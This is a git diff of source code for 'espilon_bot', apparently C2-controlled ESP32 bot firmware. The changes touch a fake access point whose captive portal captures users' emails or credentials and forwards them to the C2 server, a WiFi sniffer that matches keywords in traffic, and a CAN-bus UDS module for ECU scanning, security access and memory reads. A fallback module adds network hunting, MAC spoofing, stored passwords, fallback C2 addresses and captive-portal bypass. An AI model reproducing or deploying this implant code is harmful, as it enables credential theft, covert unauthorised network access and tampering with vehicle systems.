|
||||
/* Session types */
|
||||
#define UDS_SESSION_DEFAULT 0x01
|
||||
#define UDS_SESSION_PROGRAMMING 0x02
|
||||
#define UDS_SESSION_EXTENDED 0x03
|
||||
|
||||
/* Negative Response Codes */
|
||||
#define UDS_NRC_GENERAL_REJECT 0x10
|
||||
#define UDS_NRC_SERVICE_NOT_SUPPORTED 0x11
|
||||
#define UDS_NRC_SUBFUNCTION_NOT_SUPPORTED 0x12
|
||||
#define UDS_NRC_INCORRECT_LENGTH 0x13
|
||||
#define UDS_NRC_RESPONSE_PENDING 0x78
|
||||
#define UDS_NRC_SECURITY_ACCESS_DENIED 0x33
|
||||
#define UDS_NRC_INVALID_KEY 0x35
|
||||
#define UDS_NRC_EXCEEDED_ATTEMPTS 0x36
|
||||
#define UDS_NRC_CONDITIONS_NOT_MET 0x22
|
||||
|
||||
/* ============================================================
|
||||
* UDS Context
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t tx_id; /* Request CAN ID (e.g. 0x7E0) */
|
||||
uint32_t rx_id; /* Response CAN ID (e.g. 0x7E8) */
|
||||
int timeout_ms; /* Response timeout */
|
||||
uint8_t session; /* Current session type */
|
||||
bool security_unlocked;
|
||||
} uds_ctx_t;
|
||||
|
||||
/* ============================================================
|
||||
* High-Level UDS API
|
||||
* ============================================================ */
|
||||
|
||||
/* DiagnosticSessionControl (0x10) */
|
||||
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type);
|
||||
|
||||
/* TesterPresent (0x3E) — keep-alive */
|
||||
int uds_tester_present(uds_ctx_t *ctx);
|
||||
|
||||
/* ReadDataByIdentifier (0x22) — returns data length or -1 */
|
||||
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
|
||||
uint8_t *out, size_t cap);
|
||||
|
||||
/* SecurityAccess (0x27) — request seed */
|
||||
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
|
||||
uint8_t *seed, size_t *seed_len);
|
||||
|
||||
/* SecurityAccess (0x27) — send key */
|
||||
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
|
||||
const uint8_t *key, size_t key_len);
|
||||
|
||||
/* ReadMemoryByAddress (0x23) — returns data length or -1 */
|
||||
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
|
||||
uint8_t *out);
|
||||
|
||||
/* Raw UDS request — returns response length or -1 */
|
||||
int uds_raw_request(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len);
|
||||
|
||||
/* ECU discovery: send TesterPresent to 0x7E0-0x7EF, report responders */
|
||||
int uds_scan_ecus(uint32_t *found_ids, int max_ecus);
|
||||
|
||||
/* Get human-readable NRC name */
|
||||
const char *uds_nrc_name(uint8_t nrc);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
1363
espilon_bot/components/mod_canbus/cmd_canbus.c
Normal file
1363
espilon_bot/components/mod_canbus/cmd_canbus.c
Normal file
File diff suppressed because it is too large
Load Diff
7
espilon_bot/components/mod_canbus/cmd_canbus.h
Normal file
7
espilon_bot/components/mod_canbus/cmd_canbus.h
Normal file
@ -0,0 +1,7 @@
|
||||
/*
|
||||
* cmd_canbus.h
|
||||
* CAN bus module — C2 command interface.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_canbus_register_commands(void);
|
||||
@ -1,4 +1,4 @@
|
||||
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES esp_http_server
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command)
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
|
||||
@ -6,10 +6,10 @@
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
@ -18,7 +18,7 @@
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static bool fakeap_running = false;
|
||||
atomic_bool fakeap_active = false;
|
||||
static bool portal_running = false;
|
||||
static bool sniffer_running = false;
|
||||
|
||||
@ -40,7 +40,7 @@ static int cmd_fakeap_start(
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (fakeap_running) {
|
||||
if (fakeap_active) {
|
||||
msg_error(TAG, "FakeAP already running", req);
|
||||
return -1;
|
||||
}
|
||||
@ -66,7 +66,7 @@ static int cmd_fakeap_start(
|
||||
}
|
||||
|
||||
start_access_point(ssid, password, open);
|
||||
fakeap_running = true;
|
||||
fakeap_active = true;
|
||||
|
||||
msg_info(TAG, "FakeAP started", req);
|
||||
return 0;
|
||||
@ -85,7 +85,7 @@ static int cmd_fakeap_stop(
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
@ -101,7 +101,7 @@ static int cmd_fakeap_stop(
|
||||
}
|
||||
|
||||
stop_access_point();
|
||||
fakeap_running = false;
|
||||
fakeap_active = false;
|
||||
|
||||
msg_info(TAG, "FakeAP stopped", req);
|
||||
return 0;
|
||||
@ -127,7 +127,7 @@ static int cmd_fakeap_status(
|
||||
" Portal: %s\n"
|
||||
" Sniffer: %s\n"
|
||||
" Authenticated clients: %d",
|
||||
fakeap_running ? "ON" : "OFF",
|
||||
fakeap_active ? "ON" : "OFF",
|
||||
portal_running ? "ON" : "OFF",
|
||||
sniffer_running ? "ON" : "OFF",
|
||||
authenticated_count
|
||||
@ -150,7 +150,7 @@ static int cmd_fakeap_clients(
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
@ -172,7 +172,7 @@ static int cmd_fakeap_portal_start(
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
if (!fakeap_active) {
|
||||
msg_error(TAG, "Start FakeAP first", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
@ -6,6 +6,7 @@
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
|
||||
static const char *TAG = "MODULE_NET_SNIFFER";
|
||||
|
||||
@ -57,7 +58,7 @@ static void wifi_sniffer_packet_handler(
|
||||
if (payload_len <= 0)
|
||||
return;
|
||||
|
||||
char printable[256];
|
||||
char printable[128];
|
||||
extract_printable(payload, payload_len, printable, sizeof(printable));
|
||||
if (!printable[0])
|
||||
return;
|
||||
@ -74,12 +75,22 @@ static void wifi_sniffer_packet_handler(
|
||||
if ((sniff_counter++ % 20) != 0)
|
||||
return;
|
||||
|
||||
msg_data(
|
||||
TAG,
|
||||
printable,
|
||||
strlen(printable),
|
||||
true, /* eof */
|
||||
NULL /* request_id */
|
||||
/* Extract source MAC from WiFi frame (addr2 = transmitter) */
|
||||
char src_mac[18];
|
||||
snprintf(src_mac, sizeof(src_mac),
|
||||
"%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
frame[10], frame[11], frame[12],
|
||||
frame[13], frame[14], frame[15]);
|
||||
|
||||
char detail[128];
|
||||
snprintf(detail, sizeof(detail),
|
||||
"keyword='%s' payload='%.64s'",
|
||||
keywords[i], printable);
|
||||
|
||||
event_send(
|
||||
"WIFI_PROBE", "MEDIUM",
|
||||
src_mac, "0.0.0.0",
|
||||
0, 0, detail, NULL
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
@ -10,6 +10,7 @@
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
#include "event_format.h"
|
||||
|
||||
#define TAG "CAPTIVE_PORTAL"
|
||||
|
||||
@ -126,13 +127,14 @@ static esp_err_t post_handler(httpd_req_t *req)
|
||||
char *end = strchr(email, '&');
|
||||
if (end) *end = '\0';
|
||||
|
||||
/* Send captured email (NOUVELLE SIGNATURE) */
|
||||
msg_data(
|
||||
TAG,
|
||||
email,
|
||||
strlen(email),
|
||||
true, /* eof */
|
||||
NULL
|
||||
/* Send captured credential as HP| event */
|
||||
char detail[128];
|
||||
snprintf(detail, sizeof(detail), "user='%s'", email);
|
||||
event_send(
|
||||
"SVC_AUTH_ATTEMPT", "HIGH",
|
||||
"00:00:00:00:00:00",
|
||||
ip4addr_ntoa(&client_ip),
|
||||
0, 80, detail, NULL
|
||||
);
|
||||
|
||||
mark_authenticated(client_ip);
|
||||
|
||||
5
espilon_bot/components/mod_fallback/CMakeLists.txt
Normal file
5
espilon_bot/components/mod_fallback/CMakeLists.txt
Normal file
@ -0,0 +1,5 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_fallback.c fb_config.c fb_hunt.c fb_stealth.c fb_captive.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos esp_timer
|
||||
)
|
||||
172
espilon_bot/components/mod_fallback/cmd_fallback.c
Normal file
172
espilon_bot/components/mod_fallback/cmd_fallback.c
Normal file
@ -0,0 +1,172 @@
|
||||
/*
|
||||
* cmd_fallback.c
|
||||
* Fallback resilient connectivity — 3 C2 commands for pre-configuration.
|
||||
*
|
||||
* The hunt itself is fully autonomous (no C2 command to start it).
|
||||
* These commands are for status + pre-loading known networks while connected.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "cmd_fallback.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "fb_config.h"
|
||||
#include "fb_hunt.h"
|
||||
#include "fb_stealth.h"
|
||||
|
||||
#define TAG "FB"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_status
|
||||
* Report state, SSID, method, MAC, stored networks count.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
fb_state_t state = fb_hunt_get_state();
|
||||
uint8_t mac[6];
|
||||
fb_stealth_get_current_mac(mac);
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X"
|
||||
" nets=%d c2_fb=%d",
|
||||
fb_hunt_state_name(state),
|
||||
fb_hunt_connected_ssid(),
|
||||
fb_hunt_connected_method(),
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5],
|
||||
fb_config_net_count(),
|
||||
fb_config_c2_count());
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_net_add <ssid> [pass]
|
||||
* Add/update a known network. Pass "" to remove.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG, "usage: fb_net_add <ssid> [pass]", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *ssid = argv[0];
|
||||
const char *pass = (argc >= 2) ? argv[1] : "";
|
||||
|
||||
/* Empty string for pass means "remove" */
|
||||
if (argc >= 2 && strcmp(pass, "\"\"") == 0) {
|
||||
if (fb_config_net_remove(ssid)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Removed network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Network not found", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (fb_config_net_add(ssid, pass)) {
|
||||
char buf[96];
|
||||
snprintf(buf, sizeof(buf), "Added network '%s'", ssid);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "Failed to add network (full?)", req);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fb_net_list
|
||||
* List known networks.
|
||||
* ============================================================ */
|
||||
static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)argc; (void)argv; (void)ctx;
|
||||
|
||||
fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS];
|
||||
int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS);
|
||||
|
||||
if (count == 0) {
|
||||
msg_info(TAG, "No known networks", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s",
|
||||
i, nets[i].ssid,
|
||||
nets[i].pass[0] ? "***" : "(open)");
|
||||
msg_data(TAG, line, strlen(line), (i == count - 1), req);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Command table
|
||||
* ============================================================ */
|
||||
static const command_t fb_cmds[] = {
|
||||
{
|
||||
.name = "fb_status",
|
||||
.sub = NULL,
|
||||
.help = "Fallback state, MAC, method, config",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_fb_status,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "fb_net_add",
|
||||
.sub = NULL,
|
||||
.help = "Add known network: fb_net_add <ssid> [pass]",
|
||||
.min_args = 1,
|
||||
.max_args = 2,
|
||||
.handler = (command_handler_t)cmd_fb_net_add,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
{
|
||||
.name = "fb_net_list",
|
||||
.sub = NULL,
|
||||
.help = "List known networks",
|
||||
.min_args = 0,
|
||||
.max_args = 0,
|
||||
.handler = (command_handler_t)cmd_fb_net_list,
|
||||
.ctx = NULL,
|
||||
.async = false,
|
||||
},
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Registration
|
||||
* ============================================================ */
|
||||
void mod_fallback_register_commands(void)
|
||||
{
|
||||
ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands");
|
||||
|
||||
fb_config_init();
|
||||
fb_hunt_init();
|
||||
|
||||
for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) {
|
||||
command_register(&fb_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK */
|
||||
|
||||
void mod_fallback_register_commands(void) { /* empty */ }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
8
espilon_bot/components/mod_fallback/cmd_fallback.h
Normal file
8
espilon_bot/components/mod_fallback/cmd_fallback.h
Normal file
@ -0,0 +1,8 @@
|
||||
/*
|
||||
* cmd_fallback.h
|
||||
* Fallback resilient connectivity module.
|
||||
* Compiled as empty when CONFIG_MODULE_FALLBACK is not set.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_fallback_register_commands(void);
|
||||
271
espilon_bot/components/mod_fallback/fb_captive.c
Normal file
271
espilon_bot/components/mod_fallback/fb_captive.c
Normal file
@ -0,0 +1,271 @@
|
||||
/*
|
||||
* fb_captive.c
|
||||
* Captive portal detection and bypass strategies.
|
||||
*
|
||||
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
|
||||
* - 204 = no portal (internet open)
|
||||
* - 200/302 = captive portal detected
|
||||
*
|
||||
* Bypass strategies (in order):
|
||||
* 1. Direct C2 port — often not intercepted by portals
|
||||
* 2. POST accept — parse 302 redirect, GET portal accept page
|
||||
* 3. Wait + retry — some portals open after DNS traffic
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_captive.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "FB_CAPTIVE";
|
||||
|
||||
#define CAPTIVE_TIMEOUT_S 5
|
||||
#define CAPTIVE_RX_BUF 512
|
||||
|
||||
/* ============================================================
|
||||
* Raw HTTP request to check connectivity
|
||||
* ============================================================ */
|
||||
|
||||
static bool resolve_host(const char *host, struct in_addr *out)
|
||||
{
|
||||
struct addrinfo hints = {0};
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
struct addrinfo *res = NULL;
|
||||
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
|
||||
if (err != 0 || !res) {
|
||||
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
|
||||
return false;
|
||||
}
|
||||
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
|
||||
*out = addr->sin_addr;
|
||||
lwip_freeaddrinfo(res);
|
||||
return true;
|
||||
}
|
||||
|
||||
static int http_get_status(const char *host, int port, const char *path,
|
||||
char *location_out, size_t location_cap)
|
||||
{
|
||||
struct in_addr ip;
|
||||
if (!resolve_host(host, &ip)) return 0;
|
||||
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) return 0;
|
||||
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
addr.sin_addr = ip;
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char req[256];
|
||||
int req_len = snprintf(req, sizeof(req),
|
||||
"GET %s HTTP/1.0\r\n"
|
||||
"Host: %s\r\n"
|
||||
"Connection: close\r\n"
|
||||
"User-Agent: Mozilla/5.0\r\n"
|
||||
"\r\n",
|
||||
path, host);
|
||||
|
||||
if (lwip_write(s, req, req_len) <= 0) {
|
||||
lwip_close(s);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char buf[CAPTIVE_RX_BUF];
|
||||
int total = 0;
|
||||
int len;
|
||||
while (total < (int)sizeof(buf) - 1) {
|
||||
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
|
||||
if (len <= 0) break;
|
||||
total += len;
|
||||
buf[total] = '\0';
|
||||
if (strstr(buf, "\r\n\r\n")) break;
|
||||
}
|
||||
lwip_close(s);
|
||||
|
||||
if (total == 0) return 0;
|
||||
buf[total] = '\0';
|
||||
|
||||
int status = 0;
|
||||
char *sp = strchr(buf, ' ');
|
||||
if (sp) {
|
||||
status = atoi(sp + 1);
|
||||
}
|
||||
|
||||
if (location_out && location_cap > 0) {
|
||||
location_out[0] = '\0';
|
||||
char *loc = strstr(buf, "Location: ");
|
||||
if (!loc) loc = strstr(buf, "location: ");
|
||||
if (loc) {
|
||||
loc += 10;
|
||||
char *end = strstr(loc, "\r\n");
|
||||
if (end) {
|
||||
size_t copy_len = end - loc;
|
||||
if (copy_len >= location_cap) copy_len = location_cap - 1;
|
||||
memcpy(location_out, loc, copy_len);
|
||||
location_out[copy_len] = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal detection
|
||||
* ============================================================ */
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Checking for captive portal...");
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "No captive portal (got 204)");
|
||||
return FB_PORTAL_NONE;
|
||||
}
|
||||
|
||||
if (status == 200 || status == 302 || status == 301) {
|
||||
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
if (status == 0) {
|
||||
status = http_get_status(
|
||||
"captive.apple.com", 80,
|
||||
"/hotspot-detect.html", NULL, 0);
|
||||
|
||||
if (status == 200) {
|
||||
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Connectivity check failed (no response)");
|
||||
return FB_PORTAL_UNKNOWN;
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
|
||||
return FB_PORTAL_DETECTED;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Captive portal bypass
|
||||
* ============================================================ */
|
||||
|
||||
bool fb_captive_bypass(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Attempting captive portal bypass...");
|
||||
|
||||
/* Strategy 1: Direct C2 port */
|
||||
{
|
||||
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s >= 0) {
|
||||
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
|
||||
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
struct sockaddr_in addr = {0};
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(CONFIG_SERVER_PORT);
|
||||
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
||||
|
||||
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
|
||||
lwip_close(s);
|
||||
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
|
||||
return true;
|
||||
}
|
||||
lwip_close(s);
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
|
||||
}
|
||||
|
||||
/* Strategy 2: Follow redirect + GET accept page */
|
||||
{
|
||||
char location[256] = {0};
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", location, sizeof(location));
|
||||
|
||||
if ((status == 302 || status == 301) && location[0]) {
|
||||
ESP_LOGI(TAG, "Portal redirect to: %s", location);
|
||||
|
||||
char *host_start = strstr(location, "://");
|
||||
if (host_start) {
|
||||
host_start += 3;
|
||||
char *path_start = strchr(host_start, '/');
|
||||
char host_buf[64] = {0};
|
||||
|
||||
if (path_start) {
|
||||
size_t hlen = path_start - host_start;
|
||||
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
|
||||
memcpy(host_buf, host_start, hlen);
|
||||
} else {
|
||||
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
|
||||
path_start = "/";
|
||||
}
|
||||
|
||||
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
|
||||
ESP_LOGI(TAG, "Portal page status: %d", p_status);
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
int check = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (check == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
|
||||
}
|
||||
|
||||
/* Strategy 3: Wait + retry */
|
||||
{
|
||||
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
|
||||
vTaskDelay(pdMS_TO_TICKS(10000));
|
||||
|
||||
int status = http_get_status(
|
||||
"connectivitycheck.gstatic.com", 80,
|
||||
"/generate_204", NULL, 0);
|
||||
if (status == 204) {
|
||||
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
|
||||
return true;
|
||||
}
|
||||
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
|
||||
}
|
||||
|
||||
ESP_LOGW(TAG, "All captive portal bypass strategies failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK */
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void) { return FB_PORTAL_UNKNOWN; }
|
||||
bool fb_captive_bypass(void) { return false; }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
24
espilon_bot/components/mod_fallback/fb_captive.h
Normal file
24
espilon_bot/components/mod_fallback/fb_captive.h
Normal file
@ -0,0 +1,24 @@
|
||||
/*
|
||||
* fb_captive.h
|
||||
* Captive portal detection and bypass strategies.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
FB_PORTAL_NONE, /* No captive portal — internet is open */
|
||||
FB_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
|
||||
FB_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
|
||||
} fb_portal_status_t;
|
||||
|
||||
fb_portal_status_t fb_captive_detect(void);
|
||||
bool fb_captive_bypass(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
454
espilon_bot/components/mod_fallback/fb_config.c
Normal file
454
espilon_bot/components/mod_fallback/fb_config.c
Normal file
@ -0,0 +1,454 @@
|
||||
/*
|
||||
* fb_config.c
|
||||
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
|
||||
* Namespace: "fb_cfg" — auto-migrates from old "rt_cfg" on first boot.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_config.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "nvs_flash.h"
|
||||
#include "nvs.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
|
||||
static const char *TAG = "FB_CFG";
|
||||
static const char *NVS_NS = "fb_cfg";
|
||||
|
||||
/* ============================================================
|
||||
* NVS migration from old rt_cfg namespace
|
||||
* ============================================================ */
|
||||
|
||||
static void migrate_from_rt_cfg(void)
|
||||
{
|
||||
nvs_handle_t old_h, new_h;
|
||||
if (nvs_open("rt_cfg", NVS_READONLY, &old_h) != ESP_OK)
|
||||
return; /* No old data */
|
||||
|
||||
if (nvs_open(NVS_NS, NVS_READWRITE, &new_h) != ESP_OK) {
|
||||
nvs_close(old_h);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Check if already migrated */
|
||||
int32_t new_count = -1;
|
||||
if (nvs_get_i32(new_h, "fb_count", &new_count) == ESP_OK && new_count >= 0) {
|
||||
nvs_close(old_h);
|
||||
nvs_close(new_h);
|
||||
return;
|
||||
}
|
||||
|
||||
/* Copy network count */
|
||||
int32_t old_count = 0;
|
||||
nvs_get_i32(old_h, "rt_count", &old_count);
|
||||
nvs_set_i32(new_h, "fb_count", old_count);
|
||||
|
||||
/* Copy each network entry */
|
||||
char key[16];
|
||||
for (int i = 0; i < old_count && i < CONFIG_FB_MAX_KNOWN_NETWORKS; i++) {
|
||||
char buf[FB_PASS_MAX_LEN];
|
||||
size_t len;
|
||||
|
||||
snprintf(key, sizeof(key), "n_%d", i);
|
||||
len = FB_SSID_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
|
||||
snprintf(key, sizeof(key), "p_%d", i);
|
||||
len = FB_PASS_MAX_LEN;
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
}
|
||||
|
||||
/* Copy C2 fallbacks */
|
||||
int32_t c2_count = 0;
|
||||
nvs_get_i32(old_h, "c2_count", &c2_count);
|
||||
nvs_set_i32(new_h, "c2_count", c2_count);
|
||||
|
||||
for (int i = 0; i < c2_count && i < CONFIG_FB_MAX_C2_FALLBACKS; i++) {
|
||||
char buf[FB_ADDR_MAX_LEN];
|
||||
size_t len = FB_ADDR_MAX_LEN;
|
||||
snprintf(key, sizeof(key), "c2_%d", i);
|
||||
memset(buf, 0, sizeof(buf));
|
||||
if (nvs_get_str(old_h, key, buf, &len) == ESP_OK)
|
||||
nvs_set_str(new_h, key, buf);
|
||||
}
|
||||
|
||||
/* Copy original MAC */
|
||||
uint8_t mac[6];
|
||||
size_t mac_len = 6;
|
||||
if (nvs_get_blob(old_h, "orig_mac", mac, &mac_len) == ESP_OK)
|
||||
nvs_set_blob(new_h, "orig_mac", mac, 6);
|
||||
|
||||
nvs_commit(new_h);
|
||||
nvs_close(old_h);
|
||||
nvs_close(new_h);
|
||||
|
||||
ESP_LOGI(TAG, "Migrated %d networks + %d C2 fallbacks from rt_cfg",
|
||||
(int)old_count, (int)c2_count);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Init
|
||||
* ============================================================ */
|
||||
void fb_config_init(void)
|
||||
{
|
||||
